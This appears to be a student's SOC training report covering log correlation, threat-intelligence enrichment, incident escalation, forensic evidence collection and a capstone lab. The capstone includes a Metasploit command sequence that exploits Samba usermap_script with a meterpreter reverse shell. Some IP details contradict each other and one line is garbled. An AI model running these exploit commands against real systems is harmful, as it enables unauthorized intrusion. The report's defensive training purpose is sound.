WEEK – 3

1. Advanced Log Analysis

Objective

The objective of this task is to perform advanced log analysis using Elastic Security and Security Onion to identify suspicious activities. The focus is on correlating failed authentication events with outbound network activity, detecting anomalous data transfers, and enriching logs to improve visibility and investigation context.

Methodology

1) **Log Correlation**
    a. Ingest sample logs from Boss of the SOC dataset) into Elastic Security
    b. Ingested Windows Security event logs into Elastic Security.
    c. Filtered authentication failure events (Event ID 4625).
    d. Correlated authentication failures with outbound network traffic using common fields and a defined time window.
    e. Documented correlated events in a structured table with timestamps, event IDs, source and destination information, and analyst notes.
2) **Anomaly Detection**
    a. Created a custom Elastic Security threshold rule to detect high-volume outbound traffic.
    b. Configured the rule to trigger when outbound data exceeded 1 MB within a 1-minute interval.
    c. Tested the rule using simulated file transfer activity to validate alert generation.
3) **Log Enrichment**
    a. Configured an Elastic ingest pipeline using the GeoIP processor.
    b. Enriched network-related log fields with geolocation metadata.
    c. Verified that enriched fields were visible in Elastic Security dashboards for investigation support.

Results

- Multiple failed authentication events were observed and successfully correlated with outbound network activity.
- Anomaly detection rules triggered alerts for high-volume data transfers, indicating potentially suspicious behavior.
- Log enrichment using GeoIP successfully added geolocation metadata (such as country and region) to network-related IP fields, improving analyst understanding of external communication patterns.
- The combined use of correlation, anomaly detection, and enrichment provided stronger indicators for identifying potential security incidents.

Findings Summary

The analysis demonstrated that correlating failed authentication attempts with outbound network traffic can reveal suspicious post-authentication behavior. The anomaly detection rule effectively identified unusually large data transfers, while log enrichment added valuable context for investigation. Together, these techniques improved detection accuracy and supported efficient SOC analysis.

Conclusion

This task successfully demonstrated advanced log analysis techniques using Elastic Security. By combining log correlation, anomaly detection, and enrichment, suspicious activity was identified more effectively than through isolated log review. This approach strengthens SOC monitoring capabilities, supports timely incident detection, and enhances overall threat investigation and response readiness

2. Threat Intelligence Integration

Objective

The objective of this activity is to integrate AlienVault OTX threat intelligence with Wazuh in order to enhance alert detection through IOC correlation and enrichment. Additionally, the task aims to perform proactive threat hunting using the MITRE ATT&CK framework, specifically technique **T1078 – Valid Accounts**, to identify potential credential misuse within the environment.

Methodology

1) **Threat Feed Import (AlienVault OTX Integration in Wazuh)**
    a. Edited the Wazuh configuration file located at /var/ossec/etc/ossec.conf to enable AlienVault OTX integration.
    b. Configured the OTX API key within the integration module.
    c. Restarted the Wazuh Manager service to apply the configuration changes using sudo systemctl restart wazuh-manager.
    d. Verified successful threat feed ingestion by monitoring the Wazuh logs (ossec.log) for integration status messages.
2) **IOC Matching Using Mock IP**
    a. Simulated suspicious activity by generating a test log entry containing a mock IP address (192.168.1.100).
    b. Monitored Wazuh alert logs to confirm that the IOC was detected and matched against the imported AlienVault OTX threat intelligence feed.

3) **Alert Enrichment with Threat Intelligence**
    a. Extracted alert details from Wazuh alerts to verify enrichment fields populated by AlienVault OTX.
    b. Reviewed threat intelligence context such as reputation, associated threat pulses, and infrastructure classification.
4) **Threat Hunting – MITRE ATT&CK T1078 (Valid Accounts)**
    a. Performed threat hunting in Wazuh logs focusing on authentication-
    b. related events.
    c. Applied filtering to identify login activity involving non-system user accounts.
    d. Analyzed login patterns to detect anomalies that may indicate compromised or misused credentials.

Results

- AlienVault OTX threat intelligence feed was successfully integrated with Wazuh and confirmed through system logs.
- The mock IP address (192.168.1.100) triggered a Wazuh alert and was enriched with AlienVault OTX data.
- The IP was classified as **Malicious** and associated with **Command-and-Control (C2) infrastructure**.
- Threat hunting activities identified suspicious authentication events involving non-system accounts, consistent with MITRE technique T1078.

Alert ID	IP	Reputation	Notes
003	192.168.1.100	Malicious (OTX)	Linked to C2 server

Findings Summary

The integration of AlienVault OTX with Wazuh enabled effective IOC correlation and automatic alert enrichment. A simulated malicious IP was successfully detected and enriched with threat intelligence context, identifying it as part of known C2 infrastructure. Threat hunting for MITRE T1078 revealed suspicious login activity by non-system accounts, indicating possible credential misuse and reinforcing the importance of behavioral-based detection.

Conclusion

This task successfully demonstrated the integration of external threat intelligence with Wazuh to enhance detection and investigation capabilities. AlienVault OTX enrichment provided valuable context for alerts, improving decision-making during incident analysis. Additionally, threat hunting aligned with MITRE ATT&CK technique T1078 enabled proactive identification of potential credential abuse. The combined approach strengthens SOC visibility, detection accuracy, and response readiness.

3. Incident Escalation Practice

Objective

The objective of this exercise was to practice structured incident escalation within a Security Operations Center (SOC) environment. The task focused on using TheHive for incident case management, Google Docs for Situation Report (SITREP) documentation, and Splunk Phantom for workflow automation. The goal was to simulate the handling of a high-priority unauthorized access alert, ensure effective escalation from Tier-1 to Tier-2, and validate the role of automation in reducing response time and improving operational efficiency.

Methodology

1) **Escalation Simulation using TheHive**
    - Logged into TheHive and created a new case titled **“Unauthorized Access on Server-Y.”**
    - Set the case severity to **High** and added relevant metadata, including:
        - Detection time: **2025-08-18 13:00**
        - Source IP address: **192.168.1.200**
        - MITRE ATT&CK technique: **T1078 – Valid Accounts**
    - Added observables such as IP address, affected host, and technique mapping.
    - Assigned the case to the **Tier-2 SOC team** for advanced investigation.
2) **SITREP Drafting using Google Docs**
    - Drafted a structured Situation Report (SITREP) in Google Docs
3) **Workflow Automation using Splunk Phantom**
    - Logged into the Splunk Phantom console and created a new playbook named AutoEscalate_High_To_Tier2.
    - Configured the playbook with the following logic:
        - **Trigger:** On container creation
        - **Condition:** Alert severity equals High
        - Actions:
            - Assign incident to Tier-2 SOC group
            - Add escalation tag (e.g., escalated:tier2)
            - Update incident status and add an automated escalation comment

- Tested the playbook using a mock high-severity alert containing the same incident details.

Results

- **TheHive:** A high-priority incident case was successfully created and escalated to Tier-2 with complete observables, documentation, and escalation notes.
- **Google Docs:** A professional SITREP was produced, capturing detection details, containment actions, and recommended next steps.
- **Splunk Phantom:** The automation playbook functioned as expected during testing, automatically assigning high-severity alerts to Tier-2 and tagging them as escalated.
- The combined manual and automated escalation workflow demonstrated improved efficiency and reduced analyst response time.

Conclusion

This exercise successfully demonstrated an end-to-end incident escalation workflow within a SOC environment. The use of TheHive ensured structured case management and clear Tier-2 escalation, while the SITREP provided standardized and effective incident communication. Splunk Phantom automation complemented manual processes by reducing response delays and enforcing consistent escalation logic. Overall, this practice highlights the importance of well-defined escalation procedures, thorough documentation, and automation in improving incident response maturity and SOC operational readiness.

4. Alert Triage with Threat Intelligence

Objective

The objective of this task is to perform alert triage on a suspicious security event detected by Wazuh and validate the associated Indicators of Compromise (IOCs) using external threat intelligence platforms. VirusTotal and AlienVault OTX are used to determine whether the alert represents a true positive and to support decision-making for further incident response actions.

Methodology

1) **Alert Review (Wazuh)**
   - Logged into the Wazuh dashboard.
   - Reviewed high-severity alerts and identified a suspicious alert related to PowerShell execution activity.
   - Collected alert metadata including alert ID, description, source IP, priority, and status.
2) **IOC Extraction**
   - Extracted relevant indicators from the alert, including the source IP address and execution context.
   - Identified PowerShell execution behavior as suspicious due to its frequent misuse in post-exploitation activities.
3) **Threat Intelligence Validation – VirusTotal**
   - Queried the extracted IP address in VirusTotal.
   - Reviewed detection ratios, reputation scores, and associated behavioral indicators.
4) **Threat Intelligence Validation – AlienVault OTX**
   - Queried the same IOC in AlienVault OTX.
   - Analyzed threat pulses, tags, and associated campaigns linked to the indicator.
   - Correlated findings with known command-and-control and malware activity.

Results

Alert ID	Description	Source IP	Priority	Status
004	PowerShell Execution	192.168.1.101	High	Open

VirusTotal Analysis

- The source IP showed multiple detections across security engines.
- The activity was associated with suspicious PowerShell-based execution behavior, indicating potential malicious use.

AlienVault OTX Analysis

- The IP address was found in multiple threat intelligence pulses.
- OTX linked the indicator to command-and-control infrastructure and known malicious campaigns.

IOC Validation Summary

The PowerShell execution alert was validated using VirusTotal and AlienVault OTX. VirusTotal reported multiple detections associated with malicious behavior. AlienVault OTX linked the indicator to command-and-control related threat pulses. The correlation of these sources confirms the alert as a high-confidence malicious activity requiring further investigation.

Findings Summary

The alert generated by Wazuh indicated suspicious PowerShell execution from an internal IP address. Validation through VirusTotal and AlienVault OTX confirmed that the IOC is associated with malicious activity and known threat campaigns. The convergence of SIEM detection and external threat intelligence supports classification of the alert as a true positive.

Conclusion

The alert triage process successfully demonstrated how Wazuh alerts can be enriched and validated using external threat intelligence sources. Both VirusTotal and AlienVault OTX confirmed the malicious nature of the IOC, indicating a likely system compromise. Immediate response actions such as host isolation, deeper forensic analysis, and monitoring for lateral movement are recommended. This task highlights the importance of threat intelligence–driven triage in effective SOC operations.

5. Evidence Preservation and Analysis

Objective

The objective of this activity is to collect, preserve, and analyze digital forensic evidence from a Windows virtual machine (VM) while maintaining forensic integrity and proper chain-of-custody procedures. The specific goals of this task are to capture volatile data using Velociraptor, acquire a complete memory dump for forensic analysis, verify evidence integrity using cryptographic hashing, and document all collected artifacts for investigative and legal purposes.

Methodology

1) **Step 1: Volatile Data Collection**
   - Connected to the Windows VM through the Velociraptor web interface.
   - Executed the following Velociraptor query to collect active network connections:
     - SELECT * FROM netstat
   - Cevidence.

2) **Step 2: Memory Acquisition**
    - Executed the Velociraptor artifact for memory collection:
        - SELECT * FROM Artifact.Windows.Memory.Acquisition
    - Acquired a raw memory dump file from the Windows VM.
3) **Step 3: Evidence Integrity Verification**
    - Calculated the SHA-256 hash of the acquired memory dump using a hashing utility.
    - Recorded the hash value to ensure integrity and detect any post-collection tampering.
4) **Step 4: Chain-of-Custody Documentation**
    - Documented all collected evidence, including item description, collector identity, date of collection, and hash values, in a structured evidence log.

Results

- Volatile data containing active network connections was successfully collected and preserved in CSV format.
- A full memory dump of the Windows VM was successfully acquired using Velociraptor.
- SHA-256 hashing confirmed the integrity of the collected memory image.
- All evidence was properly documented with clear chain-of-custody records, ensuring forensic soundness and admissibility.

Item	Description	Collected By	Date	Hash value
Memory Dump	Server-Y Dump	SOC Analyst	2026-02-05	6feb19fac17ab2b458b2be1a538bf8993754ccb1a9eb6ec77b8bd4be434252a7
Netstat CSV	Active Connections	SOC Analyst	2026-02-05	cce35acbdd4238d674142b814f9d0446c2bf11c5fb84be5f22d6ff57f067cfb9

Conclusion

This task successfully demonstrated proper evidence preservation and forensic data acquisition techniques using Velociraptor. Volatile network data and a complete memory image were collected without altering system state, and evidence integrity was verified using SHA-256 hashing. Maintaining detailed chain-of-custody documentation ensures the reliability and admissibility of the evidence for further forensic analysis or legal proceedings. This workflow aligns with best practices in incident response and digital forensics.

6. Capstone Project: Full SOC Workflow Simulation

Objective

The objective of this capstone project is to simulate a complete Security Operations **Center (SOC) workflow in a controlled test environment. The exercise covers attack** simulation, detection, alert triage, response, containment, escalation, and reporting using industry-standard tools and frameworks. All timestamps are normalized to **UTC** to ensure accurate log correlation.

Methodology

1) **Attack simulation (controlled, lab-only)**
   - Attacker: Kali VM (LHOST 192.168.1.50).
   - Target: Metasploitable2 VM (192.168.1.100).
   - Exploit used: exploit/multi/samba/usermap_script in Metasploit with payload linux/x86/meterpreter/reverse_tcp.
   - Example commands:

```
msfconsole
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.159.138
set LPORT 4444
set LHOST 192.168.159.133
set PAYLOAD linux/x86/meterpreter/reverse_tcp
exploit -j
sessions -l
sessions -i 1
execute -f /bin/echo -- -n "pwned" > /tmp/pwned.txt
```

2) **Detection & Triage (Wazuh)**
   - A Wazuh rule was added to detect Samba usermap_script activity (local_rules.xml). Example rule fields included program smbd, content match username map script, and MITRE mapping T1210.
   - Wazuh was configured to monitor: Samba logs, FIM on /var/lib/samba and /tmp, and process creation logs to identify a reverse shell.
   - Alerts were captured and exported as JSON for ingestion into TheHive.
3) **Response and Containment**
   - Immediate containment actions were taken once the alert was validated. The affected virtual machine was isolated from the network, and the attacker IP was blocked using CrowdSec. A verification test confirmed that the attacker could no longer reach the target system.
4) **Escalation**
   - A TheHive case was created with severity High, tags (samba, exploit, metaploitable). A 100-word escalation summary was prepared requesting a Tier-2 forensic image and network capture review.

Results

1) **Detection Results**
   - 2025-08-18 14:00 UTC – Wazuh generated a high-severity alert indicating suspicious Samba activity on the Metasploitable2 host.
   - 2025-08-18 14:01 UTC – The alert was mapped to MITRE ATT&CK T1210 (Exploitation of Remote Services), with the source IP identified as 192.168.159.138.
   - Relevant Samba and system logs confirmed abnormal behavior consistent with a known vulnerability.
2) **Triage and Response Results**
   - 2025-08-18 14:05 UTC – The SOC analyst reviewed the alert, correlated logs, and confirmed it as a true positive.
   - 2025-08-18 14:10 UTC – Immediate containment actions were executed. The affected virtual machine was isolated from the network, and the attacker IP was blocked using CrowdSec.
   - Verification tests confirmed that the attacker system could no longer communicate with the target host**.**

Conclusion

This capstone exercise successfully demonstrated a complete end-to-end Security Operations Center (SOC) workflow within a controlled laboratory environment. A simulated exploitation of a vulnerable Samba service was detected using Wazuh and accurately mapped to the MITRE ATT&CK framework (T1210). Through effective alert triage and log correlation, the activity was confirmed as a true positive. Prompt response actions, including isolating the affected system and blocking the attacker source using CrowdSec, successfully contained the incident and prevented further impact.

The incident was escalated to Tier-2 through TheHive with comprehensive supporting evidence and structured case documentation, enabling effective handover for deeper analysis. No indicators of persistence, lateral movement, or data exfiltration were identified during the investigation. Overall, this exercise validated the effectiveness of integrated security monitoring, coordinated incident response, and standardized reporting practices. It also highlighted the importance of proactive detection and timely containment in reducing the risk posed by remote service exploitation in enterprise environments.